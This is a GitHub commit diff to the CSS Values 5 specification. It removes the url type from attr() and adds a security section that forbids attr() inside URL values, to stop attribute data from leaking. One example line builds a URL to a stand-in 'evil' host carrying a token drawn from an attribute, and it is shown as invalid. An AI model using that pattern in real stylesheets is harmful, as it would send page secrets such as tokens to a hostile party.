Skip to content

Commit 67112b0

Browse files
committed
[css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. w3c#5092
1 parent 307182d commit 67112b0

File tree

1 file changed

+50
-11
lines changed

1 file changed

+50
-11
lines changed

css-values-5/Overview.bs

Lines changed: 50 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -899,7 +899,7 @@ Ian's proposal:
899899
900900
<dfn>&lt;attr-name></dfn> = [ <<ident-token>> '|' ]? <<ident-token>>
901901
902-
<dfn>&lt;attr-type></dfn> = string | url | ident | color | number | percentage |
902+
<dfn>&lt;attr-type></dfn> = string | ident | color | number | percentage |
903903
length | angle | time | frequency | flex | <<dimension-unit>>
904904
</pre>
905905

@@ -983,16 +983,6 @@ Ian's proposal:
983983

984984
No value triggers fallback.
985985

986-
: <dfn>url</dfn>
987-
:: The [=substitution value=] is a CSS <<url>> value,
988-
whose url is the literal value of the attribute.
989-
(No CSS parsing or "cleanup" of the value is performed.)
990-
991-
Note: If ''url()'' was syntactically capable of containing functions,
992-
''attr(foo url)'' would be identical to ''url(attr(foo string))''.
993-
994-
No value triggers fallback.
995-
996986
: <dfn>ident</dfn>
997987
:: The [=substitution value=] is a CSS <<custom-ident>>,
998988
whose value is the literal value of the attribute,
@@ -1122,6 +1112,55 @@ Ian's proposal:
11221112
3. Otherwise, the property containing the ''attr()'' function
11231113
is [=invalid at computed-value time=].
11241114

1115+
1116+
<h4 id=attr-security>
1117+
Security</h4>
1118+
1119+
An ''attr()'' function can reference attributes
1120+
that were never intended by the page to be used for styling,
1121+
and might contain sensitive information
1122+
(for example, a security token used by scripts on the page).
1123+
1124+
In general, this is fine.
1125+
It is difficult to use ''attr()'' to extract information from a page
1126+
and send it to a hostile party,
1127+
in most circumstances.
1128+
The exception to this is URLs.
1129+
If a URL can be constructed with the value of an arbitrary attribute,
1130+
purely from CSS,
1131+
it can easily send any information stored in attributes
1132+
to a hostile party,
1133+
if 3rd-party CSS is allowed at all.
1134+
1135+
For this reason,
1136+
''attr()'' does not have a <css>url</css> type.
1137+
Additionally, ''attr()'' is not allowed to be used
1138+
in any <<url>> value,
1139+
whether directly or indirectly.
1140+
Doing so makes the property it's used in invalid.
1141+
1142+
<div class=example>
1143+
For example,
1144+
all of the following are invalid:
1145+
1146+
* ''background-image: src(attr(foo));'' - can't use it directly.
1147+
* ''background-image: image(attr(foo))'' - can't use it in other <<url>>-taking functions.
1148+
* ''background-image: src(string("http://example.com/evil?token=" attr(foo)))'' - can't "launder" it thru another function.
1149+
* ''--foo: attr(foo); background-image(src(var(--foo)))'' (assuming that ''--foo'' is a [=registered custom property=] with string syntax) - can't launder the value thru another property, either.
1150+
</div>
1151+
1152+
Note: Implementing this restriction
1153+
requires tracking a dirty bit
1154+
on values constructed from ''attr()'' values,
1155+
since they can be fully resolved into a string
1156+
via [=registered custom properties=],
1157+
so you can't rely on just examining the value expression.
1158+
Note that non-string types can even trigger this,
1159+
via functions like <css>string()</css>
1160+
that can stringify other types of values:
1161+
''--foo: attr(foo number); background-image: src(string(var(--foo)))''
1162+
needs to be invalid as well.
1163+
11251164
<!-- Big Text: random
11261165

11271166
████▌ ███▌ █ █▌ ████▌ ███▌ █ █

0 commit comments

Comments
 (0)